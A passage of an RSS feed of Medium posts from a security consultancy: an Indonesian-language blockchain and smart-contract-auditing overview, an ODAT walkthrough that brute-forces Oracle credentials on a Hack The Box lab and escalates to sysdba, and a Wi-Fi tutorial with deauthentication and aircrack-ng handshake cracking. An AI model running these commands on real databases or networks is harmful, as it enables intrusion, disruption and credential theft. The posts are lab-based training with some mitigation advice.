&#39;C:\\Windows\\System32\\drivers\\etc\\hosts&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LA-ud0IQaxwXxlD0p3bziA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QikFWf_0dQFh91U3ZgbdeQ.png" /></figure><p>References:<br><a href="https://academy.hackthebox.com/module/24/section/160">https://academy.hackthebox.com/module/24/section/160</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c706904d890" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/windows-file-transfer-methods-4c706904d890">Windows File Transfer Methods</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Blockchain: Understanding Its Fundamentals and Security Measures]]></title>
            <link>https://medium.com/fmisec/exploring-blockchain-understanding-its-fundamentals-and-security-measures-507bc9e029c8?source=rss-ffcae5220291------2</link>
            <guid isPermaLink="false">https://medium.com/p/507bc9e029c8</guid>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Mario Rufisanto]]></dc:creator>
            <pubDate>Wed, 17 Jan 2024 14:31:02 GMT</pubDate>
            <atom:updated>2024-01-17T14:31:02.975Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EGDVeSBRBVHNOy57ZHcn2w.png" /></figure><h3>WHAT IS BLOCKCHAIN?</h3><p>Blockchain adalah suatu teknologi yang memungkinkan penyimpanan data secara terdesentralisasi dan transparan. Ini adalah sistem rantai blok (blockchain) yang terdiri dari blok-blok data yang saling terkait dan diamanahkan melalui kriptografi. Setiap blok dalam rantai mengandung serangkaian transaksi, dan setiap blok terhubung satu sama lain, membentuk rantai blok yang tak terputus. Dalam suatu transaksi, bisa saja mengandung data ataupun cryptocurrency (token), bisa keduanya maupun tidak sama sekali.</p><p>Beberapa karakteristik utama dari blockchain termasuk:</p><ol><li>Desentralisasi: Data disimpan di seluruh jaringan daripada di satu pusat kontrol tunggal. Hal ini mengurangi risiko kegagalan sistem dan membuat sistem lebih tahan terhadap serangan.</li><li>Transparansi: Rantai blok bersifat transparan karena seluruh riwayat transaksi dapat diakses oleh semua peserta jaringan. Setiap perubahan atau transaksi baru terjadi, akan menciptakan blok baru yang terlihat oleh semua pihak yang terlibat.</li><li>Keamanan: Kriptografi digunakan untuk mengamankan setiap blok dan transaksi di dalamnya. Selain itu, karena data disimpan di seluruh jaringan, sulit bagi pihak yang jahat untuk mengubah data tanpa mendeteksi.</li><li>Irreversibilitas: Setelah data dimasukkan ke dalam blok dan blok tersebut ditambahkan ke dalam rantai, sulit untuk mengubah atau menghapusnya. Ini membuat data di blockchain lebih andal dan dapat dipercaya.</li></ol><p>Blockchain pertama kali dikenal sebagai teknologi di balik cryptocurrency Bitcoin. Namun, sejak itu, konsep ini telah diterapkan dalam berbagai industri dan kasus penggunaan, termasuk supply chain, keuangan, perizinan, dan banyak lagi. Dengan menggunakan blockchain, berbagai pihak dapat berpartisipasi dalam suatu sistem tanpa harus bergantung pada otoritas sentral atau perantara.</p><h3>WHAT IS THE SECURITY IN BLOCKCHAIN?</h3><p>Karena sistem yang ada sudah membawa basis keamanan yang baik, maka keamanan pada blockchain akan lebih ditekankan di Virtual Machine masing-masing chain, seperti BTC yang hanya berfokus pada Digital P2P Medium of Exchange, Ethereum Virtual Machine (EVM) yang berfokus pada smart contracts, Solana Virtual Machine (SVM) yang berfokus pada parallel processing, dsb.</p><p>Keamanan di virtual machine cenderung sudah lebih aman dan bahkan bisa dibilang sangat aman untuk saat ini, namun yang rentan untuk di-hack adalah apa yang berjalan di virtual machine tersebut, dalam hal ini kita akan membahas lebih dalam ke smart contracts Ethereum. Selayaknya dengan web2, keamanan di web3 tidak jauh-jauh dari code atau algoritma yang diimplementasikan di dalamnya, pada smart contract di Ethereum network menggunakan basis programming language Solidity.</p><h3>Smart Contract Auditing, what is it?</h3><p>Smart Contract Auditing, seperti namanya berarti orang-orang yang bekerja dibidang ini akan melakukan auditing proses untuk mengecheck keamanan pada smart contract yang ada, tidak hanya keamanan, tapi juga efisiensi gas yang digunakan oleh smart contract untuk menjalankan fungsinya. Setiap transaksi yang terjadi atau dilakukan di Blockchain membutuhkan biaya, ini yang disebut gas, jika sebuah contract bisa diminimalisir namun tetap menjalankan fungsi yang sama ini akan sangat membantu baik developer dalam mengembangkan lebih lanjut smart contract yang ada dan pengguna sehingga meminimalisir biaya service yang dikeluarkan.</p><p>Sekarang dari sisi security, biasanya akan mengecheck apakah logic yang digunakan dalam smart contract sudah benar atau belum, adakah function yang memiliki kerentanan-kerentanan seperti contohnya pada pemberian akses untuk melakukan suatu fungsi, mengambil uang, mendeposit uang, dan lain-lain.</p><p>Methodology yang digunakan dalam melakukan Smart Contract Auditing bisa bermacam-macam tergantung kebiasaan seorang auditor dan alat yang digunakan, namun pada umumnya akan seperti ini.</p><ol><li>Memetakan fungsi-fungsi dan kegunaan dari code</li><li>Melakukan scanning menggunakan tools (Slither, Mythril, dst)</li><li>Memvalidasi hasil scanning</li><li>Membuat exploit (jika benar ada kerentanan) dan mengujinya</li><li>Membuat rekomendasi fixing terhadap kode</li><li>Reporting</li></ol><p>Untuk menemukan optimisasi seperti yang disebutkan diawal tadi (gas optimization), biasanya auditor akan menyelam lebih dalam hingga ke opcodes yang digunakan suatu smart contract, karena gas dihitung dari berapa opcode yang dijalankan sebuah contract, dan setiap opcodes memiliki harga yang berbeda.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=507bc9e029c8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/exploring-blockchain-understanding-its-fundamentals-and-security-measures-507bc9e029c8">Exploring Blockchain: Understanding Its Fundamentals and Security Measures</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Oracle TNS Penetration Test Using ODAT]]></title>
            <link>https://medium.com/fmisec/oracle-tns-penetration-test-using-odat-83fafcea1988?source=rss-ffcae5220291------2</link>
            <guid isPermaLink="false">https://medium.com/p/83fafcea1988</guid>
            <category><![CDATA[oracle-database]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Mario Rufisanto]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 04:43:54 GMT</pubDate>
            <atom:updated>2024-01-11T04:43:54.204Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Oracle TNS?</h3><p>The Oracle Transparent Network Substrate (TNS) server is a communication protocol that facilitates communication between Oracle databases and applications over networks. Initially introduced as part of the <a href="https://docs.oracle.com/en/database/oracle/oracle-database/18/netag/introducing-oracle-net-services.html">Oracle Net Services</a> software suite, TNS supports various networking protocols between Oracle databases and client applications, such as IPX/SPX and TCP/IP protocol stacks. As a result, it has become a preferred solution for managing large, complex databases in the healthcare, finance, and retail industries. In addition, its built-in encryption mechanism ensures the security of data transmitted, making it an ideal solution for enterprise environments where data security is paramount.</p><p>Over time, TNS has been updated to support newer technologies, including IPv6 and SSL/TLS encryption which makes it more suitable for the following purposes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUtOqXWOAkIZA-rDrPBc7Q.png" /></figure><p>Furthermore, it enables encryption between client and server communication through an additional layer of security over the TCP/IP protocol layer. This feature helps secure the database architecture from unauthorized access or attacks that attempt to compromise the data on the network traffic. Besides, it provides advanced tools and capabilities for database administrators and developers since it offers comprehensive performance monitoring and analysis tools, error reporting and logging capabilities, workload management, and fault tolerance through database services.</p><h3>Oracle Database Attacking Tool</h3><p>Oracle Database Attacking Tool (ODAT) is an open-source penetration testing tool written in Python and designed to enumerate and exploit vulnerabilities in Oracle databases. It can be used to identify and exploit various security flaws in Oracle databases, including SQL injection, remote code execution, and privilege escalation.</p><p>Here’s how to set it up:</p><pre>#!/bin/bash<br><br>sudo apt-get install libaio1 python3-dev alien python3-pip -y<br>git clone &lt;https://github.com/quentinhardy/odat.git&gt;<br>cd odat/<br>git submodule init<br>git submodule update<br>sudo apt install oracle-instantclient-basic oracle-instantclient-devel oracle-instantclient-sqlplus -y<br>pip3 install cx_Oracle<br>sudo apt-get install python3-scapy -y<br>sudo pip3 install colorlog termcolor pycryptodome passlib python-libnmap<br>sudo pip3 install argcomplete &amp;&amp; sudo activate-global-python-argcomplete</pre><p>After that, we can try to determine if the installation was successful by running the following command:</p><pre>oqyu@htb[/htb]$ ./odat.py -h<br><br>usage: odat.py [-h] [--version]<br>               {all,tnscmd,tnspoison,sidguesser,snguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}<br>               ...<br><br>            _  __   _  ___<br>           / \\|  \\ / \\|_ _|<br>          ( o ) o ) o || |<br>           \\_/|__/|_n_||_|<br>-------------------------------------------<br>  _        __           _           ___<br> / \\      |  \\         / \\         |_ _|<br>( o )       o )         o |         | |<br> \\_/racle |__/atabase |_n_|ttacking |_|ool<br>-------------------------------------------<br><br>By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)<br>...SNIP...</pre><h3>Example of ODAT Implementation</h3><p>ODAT boasts numerous modules for various functionalities. For instance, using the ‘all’ command allows users to run all modules, providing a comprehensive understanding of the toolkit’s capabilities.</p><p>For this example, we’ll be using a lab from Hack The Box to demonstrate.</p><pre>oqyu@htb[/htb]$ ./odat.py all -s 10.129.24.217<br>[+] Checking if target 10.129.24.217:1521 is well configured for a connection...<br>[+] According to a test, the TNS listener 10.129.24.217:1521 is well configured. Continue...<br><br>...SNIP...<br><br>[!] Notice: &#39;outln&#39; account is locked, so skipping this username for password################                                                  | ETA:  00:09:00<br>[+] Valid credentials found: scott/tiger. Continue...                         #####################################                            | ETA:  00:05:01<br>[!] Notice: &#39;xdb&#39; account is locked, so skipping this username for password##############################################################      | ETA:  00:00:59<br>100% |#########################################################################################################################################| Time: 00:24:40<br>[+] Accounts found on 10.129.24.217:1521/sid:XE:<br>scott/tiger<br><br>...SNIP...</pre><p>After a certain amount of time, we’ll find a credential that we can use “scoott/tiger”. From here, we’ll be using SQLplus to interact with the Oracle Database.</p><blockquote><em>If you come across the following error </em><em>sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, please execute the command below, taken from </em><a href="https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared"><em>here</em></a><em>.</em></blockquote><pre>oqyu@htb[/htb]$ sudo sh -c &quot;echo /usr/lib/oracle/12.2/client64/lib &gt; /etc/ld.so.conf.d/oracle-instantclient.conf&quot;;sudo ldconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*EQOB92Yqs1icbg0xqAAuow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*h_HMFADW_-ZT0McqeoEsmQ.png" /></figure><p>Here, the user scott has no administrative privileges. However, we can try using this account to log in as the System Database Admin (sysdba), giving us higher privileges. This is possible when the user scott has the appropriate privileges typically granted by the database administrator or used by the administrator him/herself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*DqFzV4KnbEYE7HSO1eKe4w.png" /></figure><p>From this point, we could retrieve the password hashes from the sys.user$ and try to crack them offline. The query for this would look like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*hH9wzBKoc6aWdVssiYWnGw.png" /></figure><p>References:<br><a href="https://wirexsystems.com/resource/protocols/tns">https://wirexsystems.com/resource/protocols/tns</a><br><a href="https://github.com/quentinhardy/odat">https://github.com/quentinhardy/odat</a><br><a href="https://www.whiteoaksecurity.com/blog/exploiting-oracle-databases-with-odat/">https://www.whiteoaksecurity.com/blog/exploiting-oracle-databases-with-odat/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83fafcea1988" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/oracle-tns-penetration-test-using-odat-83fafcea1988">Oracle TNS Penetration Test Using ODAT</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wireless Hacking 101]]></title>
            <link>https://medium.com/fmisec/wireless-hacking-101-f8352266895?source=rss-ffcae5220291------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8352266895</guid>
            <category><![CDATA[wireless-hacking]]></category>
            <category><![CDATA[wireless-attack]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[wifihacking]]></category>
            <dc:creator><![CDATA[Mario Rufisanto]]></dc:creator>
            <pubDate>Fri, 24 Mar 2023 14:24:07 GMT</pubDate>
            <atom:updated>2023-03-24T14:42:49.924Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding Wireless Attack</h3><p>Before we get deep into the wireless attack itself, there are some key terms that we need to understand:</p><ul><li>SSID: The network “name” that you see when you try and connect</li><li>ESSID: An SSID that <em>may</em> apply to multiple access points, eg a company office, normally forming a bigger network. For Aircrack they normally refer to the network you’re attacking</li><li>ESSID + Password = PSK (Wireless Key)</li><li>BSSID : An access point MAC (hardware) address</li><li>WPA2-PSK: Wifi networks that you connect to by providing a password that’s the same for everyone</li><li>WPA2-EAP: Wifi networks that you authenticate to by providing a username and password, which is sent to a RADIUS server</li><li>RADIUS: A server for authenticating clients, not just for wifi</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*EBQoC_5oDQz-8nocbE4_cA.jpeg" /><figcaption>Image Credit : <a href="https://www.airtel.in/blog/broadband/how-to-change-wifi-password-and-name/">https://www.airtel.in/blog/broadband/how-to-change-wifi-password-and-name/</a></figcaption></figure><p><strong>The core of WPA authentication is the 4-way handshake</strong></p><p>The 4-way handshake is the process of exchanging 4 messages between an access point (authenticator) and the client device (supplicant) to generate some encryption keys which can be used to encrypt the data that is being sent over the wireless medium. This is the main target of a wireless penetration testing.</p><h3>Preparing The Network Adapter Device &amp; Driver</h3><p>The product I am using is AWUS036NHA. The official page only has drivers that supports Linux &amp; Windows up to 8. So, if you are using Win 10/11 then go visit the blog.</p><p><a href="https://docs.alfa.com.tw/Product/AWUS036NHA/">AWUS036NHA - ALFA Network Docs</a></p><p><a href="https://store.rokland.com/blogs/news/using-alfa-awus036nha-on-microsoft-windows-10">Using Alfa AWUS036NHA on Microsoft Windows 10 &amp; Windows 11</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCpIGzE8XprXX_6bNfG4CA.png" /></figure><h3>Starting The Network Interface</h3><p>First you need to find out the name of your wireless network adapter, it will probably be wlan0, but to check it run ifconfig and then to double check, run iwconfig</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iwDp8wR2D9KB5jfA" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uQ4N-dhgrzkxxT6u" /></figure><p>Normally a Wi-Fi adapter is set into “managed” mode which means it just acts as a client and connects to a single Wi-Fi router for access to the Internet. However, some Wi-Fi adapters can be set into other modes. In monitor mode the Wi-fi interface can capture packets without even being connected to any access point (router), it is a free agent, sniffing and snooping at all the data in the air!</p><p>Next to put the card into monitor mode we can use airmon-ng.</p><pre>sudo airmon-ng start [network-interface]</pre><p>As a disclaimer, not all adapters/cards supports this, so you must make sure you are using a compatible adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1oXbZeT2628suWhp" /></figure><p>This will create a new virtual interface called wlan0mon. You can double check it using the iwconfig</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wZRmGIMYcb3xNXbG" /></figure><p>Kill any processes that might interfere with the network adapter.</p><pre>sudo airmon-ng check kill</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rPsiqWXN5S9WiuN9" /></figure><h3>Capture Traffic &amp; Nearby Wifi Networks</h3><p>Wi-Fi uses radio and like any radio it needs to be set to a certain frequency. Wi-Fi uses 2.4GHz and 5GHz (depending on which variation you are using). The 2.4GHz range is split into a number of channels which are 5MHz apart. To get two channels which don’t overlap at all they need to be spaced around 22MHz apart (but that also depends on which variation of the Wi-Fi standard is being used). That is why channels 1, 6 and 11 are the most common channels as they are far enough apart so that they don’t overlap.</p><p>To capture data via a Wi-Fi adapter in “monitor” mode you need to tell the adapter which frequency to tune into, i.e. which channel to use. To see which channels are in use around you and which channel is being used by the Wi-Fi service you wish to test then use the airodump-ng command:</p><pre>// airodump-ng will display a list of detected access points<br>// and also a list of connected clients (“stations”).<br>// Use this to find the bssid &amp; the channel of the target network<br>sudo airodump-ng [network-interface]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PAS_E3mh24R31Zym" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qj2srrwg7_PguS3W" /></figure><p>The first list shows the Wi-Fi networks within reach of your laptop. The CH tells you which channel number each network is using and the ESSID shows the names of the networks (i.e. the service set identifiers). The ENC column reveals if the network is using encryption and if so, what type of encryption. If you see OPN as the ENC it means it’s a public network.</p><p>From the results, you can see a wifi hotspot that I have prepared called “POCO X3 Pro”. So, the next step is to capture the packets usign airodump-ng</p><pre>// Capture the packets and export it to your machine<br>sudo airodump-ng --bssid [target-bssid] -c [channel-id] --write [filename] [network-adapter]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oeqDhf2vFGMrXAhu" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qM-gSP_d9fcVmKiE" /></figure><p>There is one device that is connected to the wifi hotspot that I have prepared. So, while that is running, you’re going to run your de-authentication attack against the device connected to make the device re-establish a connection so you can capture the 4-way handshake.</p><pre>// Deauth the users that are connected to the target network<br>// User will need to input the wifi password to connect again<br>sudo aireplay-ng --deauth [number-of-packets(&gt;50)] -a [target-bssid] [network-adapter]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PHgoZiFOtlcDJdM62d-m3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKkFF98E9LxEERLWIZVzTQ.png" /></figure><pre>// If there is an error caused by the channel like the image bellow,<br>// Restart the interface with the target channel<br>sudo airmon-ng start [network-adapter] [target-channel]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BdcTU6EpLr9W0Skh" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*q0C6UJBN5fr4Y6jZ" /></figure><p>While the DOS attack is underway, check on your airodump scan. You should see at the right top : WPA handshake: &lt;mac address&gt;. Once you have verified that, you can stop the replay attack and the airodump-ng scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-7dhIIl6kDRY7PLO" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cKH26b9bRQ9iy4fk" /></figure><h3>Crack the Password</h3><p>In the final steps, we are going to run a bunch of generated Pairwise Master Key (PMK) against the captured packets to brute force the password.</p><p>A PKM is an algorithmic combination of a word and the APs name. So, our target is to continuously generating PMKs using a wordlist against the handshake until a valid PMK is found.</p><pre>// Everytime you restart the capture, another file will be made<br>// So make sure to choose the right file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4ZE2CFcxPdwXrl9x" /></figure><p>There are several wordlist that can be used to crack the password and one of the most popular one is rockyou. The rockyou wordlist is a bunch of passwords gotten from one of the most infamous cybersecurity data breaches that affected a company of the same name. It contains approximately 14 million unique passwords that were used in over 32 million accounts and as such, is one of the most dependable wordlists on the planet.</p><pre>// Crack the wifi password using aircrack<br>sudo aircrack-ng -b [target-bssid] [packet-file(.cap)] -w [wordlist]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WXFezJKagKx-ni2Z" /></figure><p>Because my wifi hotspot password isn’t in the rockyou wordlist. I created another dummy wordlist that contains my wifi password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-A8ejP2cBgUjMr_1" /></figure><h3>Mitigations Againts Wifi Attacks</h3><p>Basic Wi-Fi security should cover this attack from a defensive perspective. Using WPA3 which is a newer protocol is your best bet against such an attack. To mitigate against de-authentication attacks, use an ethernet connection if possible.</p><p>Assuming that option is not on the table, you can use a strong passphrase (not a password) to minimise the attackers chances of getting it. A passphrase is a string of words simply used as a password. Passphrases tend to be longer than passwords, easier to remember, and are a rarer practice. Therefore, they will hardly be found in wordlists.</p><p>For example, potato is more likely to be found in a wordlist than bryanlovespotato. The later is a 16-character passphrase and as simple as it is, it would be hard for an attacker to find, guess, or generate.</p><p>Another mitigation would be to disable WPS (Wi-Fi Protected Setup) and avoid under any circumstance using a router that uses the WEP protocol. You’d just be asking for unwanted attention as it’s a lot easier to hack both of these than WPA2.</p><h3>Reference</h3><p><a href="https://www.aircrack-ng.org/doku.php">Main [Aircrack-ng]</a></p><p><a href="https://linux.die.net/man/8/iwconfig">iwconfig(8) — Linux man page</a></p><p><a href="https://www.androidauthority.com/capture-data-open-wi-fi-726356/">How easy is it to capture data on public free Wi-Fi? — Gary explains</a></p><p><a href="https://linuxhint.com/capture_wi-fi_traffic_using_wireshark/">How to Capture Wi-Fi Traffic Using Wireshark</a></p><p><a href="https://security.stackexchange.com/questions/12401/how-does-deauthing-work-in-aireplay-ng">How does deauthing work in aireplay-ng?</a></p><p><a href="https://security.stackexchange.com/questions/20219/preventing-deauthentication-attacks">Preventing deauthentication attacks</a></p><p><a href="https://youtu.be/EhgVdTuvDww">WIFI Penetration Testing With aircrack-ng | TryHackMe Wifi Hacking 101</a></p><p><a href="https://www.freecodecamp.org/news/wi-fi-hacking-101/">Wi-Fi Hacking 101 — How to Hack WPA2 and Defend Against These Attacks</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8352266895" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/wireless-hacking-101-f8352266895">Wireless Hacking 101</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>